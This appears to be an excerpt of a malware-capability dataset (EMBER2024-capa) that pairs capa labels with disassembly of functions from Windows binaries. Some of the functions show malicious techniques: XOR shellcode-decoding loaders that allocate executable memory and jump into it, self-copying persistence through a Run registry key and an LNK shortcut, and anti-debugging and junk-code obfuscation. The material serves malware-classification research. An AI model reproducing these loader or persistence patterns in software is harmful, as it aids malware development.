joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b71e
Capabilities:
Accept command line arguments
Read file via mapping
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_OleInitialize]
mov ecx, 0x41d738
call fcn.0040c34e
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp esi, ebx
je 0x40b7a6
push esi
call fcn.00409886
cmp byte [0x417f91], bl
je 0x40b79a
push str.winrarsfxmappingfile.tmp
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov edi, eax
cmp edi, ebx
je 0x40b791
push 0x10000
push ebx
push ebx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
cmp esi, ebx
je 0x40b78a
push esi
push str.sfxcmd
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40b7a6
push esi
push str.sfxcmd
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov edi, 0x400
push edi
mov esi, 0x417ad8
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push str.sfxname
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
call fcn.0040639c
test eax, eax
je 0x40b7dd
push edi
push 0x4172d8
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x40b7e5
xor eax, eax
mov word [0x4172d8], ax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
push 0x64
push edi
mov dword [0x412c78], edi
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x65
push dword [0x412c78]
mov dword [0x4172d4], eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
lea ecx, [ebp - 8]
mov dword [0x4172d0], eax
call fcn.0040f1a2
push esi
mov ecx, 0x412c88
call fcn.00408659
lea ecx, [ebp - 0x40]
call fcn.00405970
lea ecx, [ebp - 0x24]
call fcn.00405970
push 0x64
call fcn.0040914d
push 0x64
mov dword [ebp - 0x28], eax
call fcn.0040914d
push ebx
push 0x40afa4
mov dword [ebp - 0xc], eax
push ebx
lea eax, [ebp - 0x40]
mov dword [0x416ecc], eax
push str.STARTDLG
lea eax, [ebp - 0x24]
push edi
mov dword [0x416ec8], eax
call dword [sym.imp.USER32.dll_DialogBoxParamA]
lea ecx, [ebp - 0x24]
mov dword [0x417f80], ebx
mov dword [0x416ec8], ebx
mov dword [0x416ecc], ebx
call fcn.00405986
lea ecx, [ebp - 0x40]
call fcn.00405986
lea ecx, [ebp - 8]
call fcn.0040f21a
cmp byte [0x417f88], bl
je 0x40b8a6
call fcn.00409b2a
push 0x80
push ebx
push 0x417ee8
call fcn.00408786
cmp dword [0x418824], ebx
jbe 0x40b8c9
push dword [0x418818]
call fcn.00408702
push dword [0x4172d4]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
mov eax, dword [0x4172d0]
cmp eax, ebx
je 0x40b8e3
push eax
call esi
cmp dword [0x412c7c], ebx
jne 0x40b902
cmp dword [0x417f78], ebx
je 0x40b902
push 0xff
mov ecx, 0x412c7c
call fcn.00402c1c
mov eax, dword [0x418828]
mov dword [0x417f78], 2
cmp eax, ebx
je 0x40b91b
push eax
call fcn.00409aeb
call dword [sym.imp.ole32.dll_OleUninitialize]
push dword [0x412c7c]
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40cfbb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x40cfca
pop dword [ebp - 4]
mov eax, 0x40cfca
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xac672492
add dword [ebp - 0x14], 0xa1eb20b9
mov dword [ebp - 0x10], 0xe5435a6a
sub dword [ebp - 0x10], 0xb3100e25
mov dword [ebp - 0xc], 0x189c0494
add dword [ebp - 0xc], 0x33b03f9a
mov dword [ebp - 8], 0x1a6680e1
sub dword [ebp - 8], 0x1a6680e1
lea eax, [ebp - 0x14]
push eax
mov eax, 0x1a890158
sub eax, 0x1a46d0e4
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0xa12db563
add dword [ebp - 0x14], 0xd344b3f3
mov dword [ebp - 0x10], 0x2189a61a
sub dword [ebp - 0x10], 0xe01d44a5
mov dword [ebp - 0xc], 0x9db37524
add dword [ebp - 0xc], 0xc5bbf748
mov dword [ebp - 8], 0x96acddeb
add dword [ebp - 8], 0x69532215
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x3e407
push 0
call eax
mov ecx, 0x4a42
xor edi, edi
add edi, eax
mov ebx, 0x30d25864
sub ebx, 0x308f1464
add ebx, dword [ebp - 4]
mov edx, 0x5551ae26
sub edx, 0xce7d3b87
mov esi, dword [ebx]
xor esi, edx
mov dword [edi], esi
add edi, 0x9e5a448d
sub edi, 0x9e5a4489
add ebx, 0x5eeb55d5
sub ebx, 0x5eeb55d1
loop 0x40d0de
add eax, 0x11bdb
mov ebx, eax
add eax, 0x51d657ce
add eax, 0xae29a837
mov ecx, 0x400000
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x4ebfa0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x58], ecx
ret

Function at 0x989e80
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0xc5cc34
jmp 0xc459a3
rdtsc
jmp 0xc45a5b
jmp fcn.00c45f90
jmp 0xc4b7a4
push esp
push dword [esp]
push dword [esp]
pop ebp
add esp, 4
jmp 0xc4b7b7
add esp, 4
jmp 0xc4b807
jmp 0xc650a0
jmp 0xc5cc8f
push ebx
mov dword [esp], ebp
mov dword [esp], 0x2b1a50ba
mov dword [esp], edx
mov dword [esp], ebp
jmp 0xc5cd50
jmp 0xc4b6e9
jmp 0xc61f4c
push ebp
mov dword [esp], 0x7d48e0c6
mov dword [esp], edi
push edi
mov edi, 0x637baf64
mov dword [esp + 4], edi
pop edi
mov dword [esp], ebx
jmp 0xc61fbe
jmp 0xc67b37
jmp 0xc65176
xchg dword [esp], edx
pop esp
add ebp, 4
sub ebp, 0x14
xchg dword [esp], ebp
pop esp
jmp 0xc651f1
push ebp
push esp
mov ebp, dword [esp]
push edx
mov edx, esp
push edi
mov edi, 0x7dffa7c1
not edi
xor edi, 0x8200583a
add edx, edi
pop edi
add edx, 4
jmp 0xc65160
jmp 0xc61e9c
jmp 0xc67bf4
mov edx, 0x116ad3ce
mov dword [esp + 4], edx
pop edx
mov dword [esp], ecx
jmp 0xc67c65
push ebp
push esi
mov dword [esp], 0x54c84476
mov dword [esp], edx
jmp 0xc67b94
jmp 0xc6a570
jmp 0xc6a5b9
mov dword [esp], edx
jmp 0xc6a67f
push eax
mov eax, esp
add eax, 4
push edi
mov edi, 4
jmp 0xc6a669
sub eax, edi
pop edi
xchg dword [esp], eax
pop esp
mov dword [esp], esi
mov dword [esp], 0x6030af81
jmp 0xc6a5b1
jmp 0xc45946
Function at 0x1128c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
test ebx, ebx
jne 0x112bb
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.000116e0
jmp 0x112d9
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, esi
mov eax, edi
call fcn.00011214
mov edi, eax
test ebx, ebx
je 0x112d9
cmp dword [esi], 0
je 0x112d9
dec ebx
jmp 0x112c2
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x11340
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x1601c], 0x8088405
inc edx
mov dword [0x1601c], edx
mul edx
mov eax, edx
ret

Function at 0x11358
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x1601c], 0x8088405
inc edx
mov dword [0x1601c], edx
fld qword [0x15038]
push 0
push edx
fild qword [esp]
add esp, 8
fmulp st(1)
ret

Function at 0x120f8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
add eax, 0xfffffff8
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x14]
push eax
mov eax, dword [ebp + 8]
add eax, 0xfffffffc
push eax
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x10]
call fcn.0001191c
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
sete byte [ebp - 1]
mov al, byte [ebp - 1]
pop ecx
pop ebp
ret

Function at 0x121a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 4
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 4], 0
je 0x121e8
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.0001191c
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x121e8
cmp dword [ebp - 0x10], 4
je 0x121ed
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x12254
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x12288
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.0001191c
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x1228c
xor eax, eax
jmp 0x1228e
mov al, 1
mov byte [ebp - 9], al
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret

Function at 0x12298
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 9], 0
cmp dword [ebp - 4], 0
je 0x122c6
mov eax, dword [ebp - 8]
call fcn.0001191c
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegDeleteKeyA
test eax, eax
sete byte [ebp - 9]
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret
Function at 0x122d0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 9], 0
cmp dword [ebp - 4], 0
je 0x122f9
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegDeleteValueA
test eax, eax
sete byte [ebp - 9]
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret

Function at 0x12300
Capabilities:
Copy file
Create shortcut via ishelllink
Get common file path
Persist via lnk shortcut
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe0
xor eax, eax
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x418], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x124b9
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x124cc
mov eax, 0x80000001
call fcn.00012080
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
call fcn.000121f4
mov edx, 0x12510
mov eax, 0x80000001
call fcn.00012080
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x14]
mov edx, 0x1255c
mov eax, dword [ebp - 0x10]
call fcn.00012138
mov eax, dword [ebp - 0x10]
call fcn.000121f4
push 0x400
lea eax, [ebp - 0x414]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x12564
lea eax, [ebp - 0x414]
push eax
call sub.KERNEL32.DLL_lstrcatA
push 0
lea eax, [ebp - 0x414]
push eax
lea edx, [ebp - 0x418]
xor eax, eax
call fcn.0001128c
mov eax, dword [ebp - 0x418]
call fcn.0001191c
push eax
call sub.KERNEL32.DLL_CopyFileA
lea eax, [ebp - 4]
call fcn.00011cf8
push eax
push 0x12570
push 5
push 0
push 0x1508c
call sub.OLE32.dll_CoCreateInstance
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
mov ecx, 0x12580
call fcn.00011d10
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov ecx, 0x12590
call fcn.00011d10
lea eax, [ebp - 0x414]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x50]
push 0x2b
push 0x125a0
mov eax, dword [ebp - 8]
push eax
mov eax, dword [eax]
call dword [eax + 0x44]
push 0
push dword [ebp - 0x14]
push 0x125b4
push 0x125c0
push 0x125d0
lea eax, [ebp - 0x420]
mov edx, 4
call fcn.00011828
mov edx, dword [ebp - 0x420]
lea eax, [ebp - 0x41c]
call fcn.00011b10
mov eax, dword [ebp - 0x41c]
call fcn.00011b20
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x18]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x124c0
lea eax, [ebp - 0x420]
call fcn.000115fc
lea eax, [ebp - 0x41c]
call fcn.00011a50
lea eax, [ebp - 0x418]
call fcn.000115fc
lea eax, [ebp - 0x14]
call fcn.000115fc
lea eax, [ebp - 0xc]
call fcn.00011cf8
lea eax, [ebp - 8]
call fcn.00011cf8
lea eax, [ebp - 4]
call fcn.00011cf8
ret
Function at 0x129e8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
xor eax, eax
mov dword [ebp - 0x10c], eax
xor eax, eax
push ebp
push 0x12a68
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x105]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x12a78
lea eax, [ebp - 0x105]
push eax
call sub.KERNEL32.DLL_lstrcatA
lea edx, [ebp - 0x10c]
xor eax, eax
call fcn.0001128c
mov eax, dword [ebp - 0x10c]
call fcn.0001191c
lea edx, [ebp - 0x105]
call fcn.00012964
mov byte [ebp - 1], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x12a6f
lea eax, [ebp - 0x10c]
call fcn.000115fc
ret
Function at 0x14634
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, 0x145cc
call fcn.00011e4c
xor eax, eax
push ebp
push 0x14779
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x14788
push 0
push 0x1f0001
call sub.KERNEL32.DLL_OpenMutexA
test eax, eax
jne 0x14763
push 0x14788
push 0
push 0
call sub.KERNEL32.DLL_CreateMutexA
mov dword [0x1654c], eax
call fcn.00012a94
test al, al
jne 0x14711
push 0x1024
push 0x14798
push 0x147a4
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_MessageBoxA
cmp eax, 6
jne 0x146b8
mov byte [0x16550], 1
jmp 0x14718
mov eax, dword [0x15208]
mov eax, dword [eax]
mov edx, 0x14808
call fcn.00011878
je 0x146de
mov eax, dword [0x15208]
mov eax, dword [eax]
mov edx, 0x14814
call fcn.00011878
jne 0x146f4
push 1
push 0
push 0
push 0x1481c
push 0
push 0
call sub.Shell32.dll_ShellExecuteA
jmp 0x14708
push 1
push 0
push 0
push 0x14848
push 0
push 0
call sub.Shell32.dll_ShellExecuteA
mov byte [0x16550], 0
jmp 0x14718
mov byte [0x16550], 1
cmp byte [0x16550], 0
je 0x14758
lea edx, [ebp - 0x10]
xor eax, eax
call fcn.0001128c
mov eax, dword [ebp - 0x10]
xor edx, edx
call fcn.00014454
test al, al
je 0x14758
mov byte [0x16550], 1
cmp byte [0x16550], 0
je 0x14758
call fcn.00013578
call fcn.00012300
call fcn.00013fc4
mov eax, dword [0x1654c]
push eax
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x14780
lea eax, [ebp - 0x10]
call fcn.000115fc
ret
Function at 0x10001039
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
pop ebx
or ebp, edx
xor ebp, ecx
mov ebp, esp
sub esp, 0x10
nop
push ebx
xchg edi, edi
push edi
mov cx, cx
call fcn.10001399
push ebx
pop ebx
jmp 0x10001536
and ax, 0x311c
mov eax, 0x2181103c
mov eax, dword [ebp - 4]
jmp 0x10001dbc
add eax, edi
shl ax, cl
dec ax
or al, al
mov eax, dword [esi + 0x3c]
mov eax, dword [eax + esi + 0x78]
mov cl, cl
and dword [ebp - 4], 0
xchg edi, edi
add eax, esi
mov ebp, ebp
jmp 0x1000160f
sub edi, ebx
mov edi, dword [esp + 0x20]
add edi, 0x35ea6d58
and edi, 0x3954707a
mov edi, edx
mov edi, dword [eax + 0x24]
shl cx, cl
sub cx, cx
add cl, al
mov ecx, dword [eax + 0x20]
and bx, cx
and bx, cx
shr ebx, cl
add ebx, dword [esp + 4]
mov ebx, dword [eax + 0x1c]
mov eax, dword [eax + 0x18]
mov ebx, ebx
add edi, esi
xchg dl, dl
add ecx, esi
mov al, al
jmp 0x1000190d
add ebx, esi
nop
test eax, eax
jmp 0x1000192e
mov dword [ebp - 0x10], eax
jmp 0x1000194b
jle 0x1000239d
jmp 0x100013d1
mov edx, dword [ecx + eax*4]
nop
and dword [ebp - 0xc], 0
push edx
pop edx
add edx, esi
xchg cx, cx
mov al, byte [edx]
xchg ebx, ebx
test al, al
jmp 0x10001ded
jmp 0x10001f74
je 0x10002240
mov dword [ebp - 8], edx
mov ax, ax
xor edx, dword [esp]
mov edx, dword [ebp - 0xc]
movsx eax, al
jmp 0x10001fac
rol edx, 3
jmp 0x10001fc5
xor edx, eax
push ecx
pop ecx
inc dword [ebp - 8]
mov eax, eax
or ax, bx
add al, dl
sub eax, dword [esp + 8]
inc eax
mov eax, dword [ebp - 8]
jmp 0x100020d2
mov al, byte [eax]
xchg ebp, ebp
test al, al
jmp 0x100020f5
mov dword [ebp - 0xc], edx
jmp 0x10002110
jmp 0x1000223a
jne 0x10001f80
sub eax, edi
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 8]
nop
je 0x10002471
inc dword [ebp - 4]
mov ebx, ebx
jmp 0x10002386
and al, al
add al, dl
add al, 0x5b
or al, dl
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x10]
xchg al, al
jl 0x100013d1
xor eax, eax
nop
jmp 0x100024a6
sub eax, 0x2e1967f0
inc ax
mov ax, bx
and ax, bx
mov eax, dword [ebp - 4]
movzx eax, word [edi + eax*2]
jmp 0x1000249e
mov eax, dword [ebx + eax*4]
nop
add eax, esi
nop
shl edi, cl
pop edi
shr ebx, cl
mov bx, bx
and bl, 0x19
or bx, bx
pop ebx
leave
jmp 0x100024d2
ret
Function at 0x10001399
Capabilities:
Encode data using xor
Get system information on windows

Disassembly:
push ebp
push edi
pop edi
mov ebp, ebx
mov ebp, dword [esp + 4]
mov ebp, dword [esp]
mov ebp, esp
sub esp, 0x24
nop
lea eax, [ebp - 0x24]
jmp 0x100013c0
push eax
xchg edi, edi
mov dword [ebp - 0x20], 0x7b
nop
jmp 0x10001440
push edx
dec al
push 0x1d
mov eax, dword [esp + 4]
shr ax, cl
pop eax
add dl, 0x7b
or dl, 0x26
or dx, dx
dec eax
test eax, eax
jne 0x10001450
pop edx
add ax, ax
add ax, 0x5541
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call eax
xchg ebx, ebx
cmp dword [ebp - 0x20], 0x7b
mov bx, bx
jne 0x1000172b
sub esp, 0xc
mov dl, dl
ret
push 0x57
jmp 0x10001735
sub dword [esp], 0x57
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov al, al
jmp 0x10001a11
test eax, eax
jmp 0x10001a2c
je 0x10001a55
xor esp, 7
mov eax, eax
ret
push 0x73
jmp 0x10001a5a
add dword [esp], 0xffffff8d
jmp 0x10001d02
call dword [sym.imp.comdlg32.dll_PrintDlgExA]
nop
test eax, eax
jmp 0x10001d1a
jne 0x10001d3a
sub esp, 4
xchg ecx, ecx
ret
push 0x49
jmp 0x10001d41
xor dword [esp], 0x4a
push 0x32
jmp 0x10001d59
add dword [esp], 0xffffffda
push dword [sym.imp.GDI32.dll_SelectClipPath]
sub al, 0x2b
and al, dl
add ax, 0x1c96
mov eax, edi
push ecx
shl al, cl
ror ax, cl
xor eax, 0x43522070
mov eax, 0
add eax, 0x1e
xor ecx, 0x6c4c1257
and cl, cl
and ecx, esi
dec cl
rol ecx, cl
dec eax
test eax, eax
jne 0x10001d89
pop ecx
pop eax
call eax
mov bl, bl
test eax, eax
jmp 0x10001db7
jmp 0x10001e68
je 0x10001e8e
sub esp, 4
xchg ebp, ebp
ret
leave
jmp 0x10001eb2
ret
Function at 0x407e30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407f09
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407e68
mov eax, dword [ebp - 4]
call fcn.00407220
jmp 0x407e70
mov eax, dword [ebp - 4]
call fcn.00407c1c
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407ebc
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407ea6
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.00407220
jmp 0x407eb8
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407c1c
inc ebx
dec esi
jne 0x407e80
push 1
push dword [ebp - 4]
push 0x407f20
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f84
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407f10
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x401de0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x32
push 0x2c
call fcn.00401100
add esp, 8
mov dword [0x4205b0], 0x44
push 8
push 0x3d
push 0x2d
call dword [0x42056c]
mov dword [0x420290], 0x1003f
push 0x59
push 0x2b
push 0x1e
call dword [0x42056c]
mov eax, dword [ebp + 8]
push eax
call fcn.00401c50
add esp, 4
push 0x3e
push 5
call dword [0x42061c]
mov dword [ebp - 8], 0
jmp 0x401e46
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [0x42026c]
xor eax, eax
mov ax, word [edx + 6]
cmp dword [ebp - 8], eax
jge 0x401ecf
push 0x62
push 0x56
call fcn.004010d0
add esp, 8
mov ecx, dword [0x420838]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp - 8]
imul eax, eax, 0x28
add eax, dword [ebp + 8]
lea ecx, [eax + edx + 0xf8]
mov dword [0x420268], ecx
mov dword [ebp - 0xc], 0x37
mov edx, dword [ebp - 0xc]
push edx
call dword [0x420848]
push 0
mov eax, dword [0x420268]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [0x420268]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [0x42026c]
mov edx, dword [ecx + 0x34]
mov eax, dword [0x420268]
add edx, dword [eax + 0xc]
push edx
mov ecx, dword [0x420258]
push ecx
call dword [0x42060c]
jmp 0x401e3d
push 0x43
push 0xe
call dword [0x42061c]
call fcn.00401d60
mov dword [ebp - 4], 0x24
mov edx, dword [ebp - 4]
push edx
call dword [0x420848]
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40288e
pop dword [ebp - 0x10]
mov eax, 0x40288e
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x11b568b6
sub dword [ebp - 0x20], 0xc363236b
mov dword [ebp - 0x1c], 0x20076a27
add dword [ebp - 0x1c], 0x122be21e
mov dword [ebp - 0x18], 0x7dafb49d
sub dword [ebp - 0x18], 0x3163706f
mov dword [ebp - 0x14], 0x96722714
add dword [ebp - 0x14], 0x698dd8ec
lea eax, [ebp - 0x20]
push eax
mov eax, 0x531e6259
sub eax, 0x52ddf1f5
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x9c6a3798
add dword [ebp - 0x20], 0xd80831be
mov dword [ebp - 0x1c], 0x342fd015
add dword [ebp - 0x1c], 0xd3c9160
mov dword [ebp - 0x18], 0xf64d6e12
add dword [ebp - 0x18], 0x6d21fe5a
mov dword [ebp - 0x14], 0x8f8c1f3b
add dword [ebp - 0x14], 0x7073e0c5
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x21802414
sub eax, 0x213fb36c
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x375ca
push 0
call eax
mov ecx, 0x4b10
xor ebx, ebx
add ebx, eax
mov esi, 0x7e455b6
sub esi, 0x7a355b6
add esi, dword [ebp - 0x10]
mov edx, 0xc49e54f8
add edx, 0xd58a3b6f
mov dword [ebp - 8], 0x6b5d93c2
mov edi, dword [esi]
xor dword [ebp - 4], 0x550fe9a7
add edi, edx
sub dword [ebp - 8], ecx
mov dword [ebx], edi
xor dword [ebp - 0xc], 0x2b48e98b
add ebx, 0x8fc62ee0
sub ebx, 0x8fc62edc
add esi, 4
loop 0x4029a7
add eax, 0x11f13
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret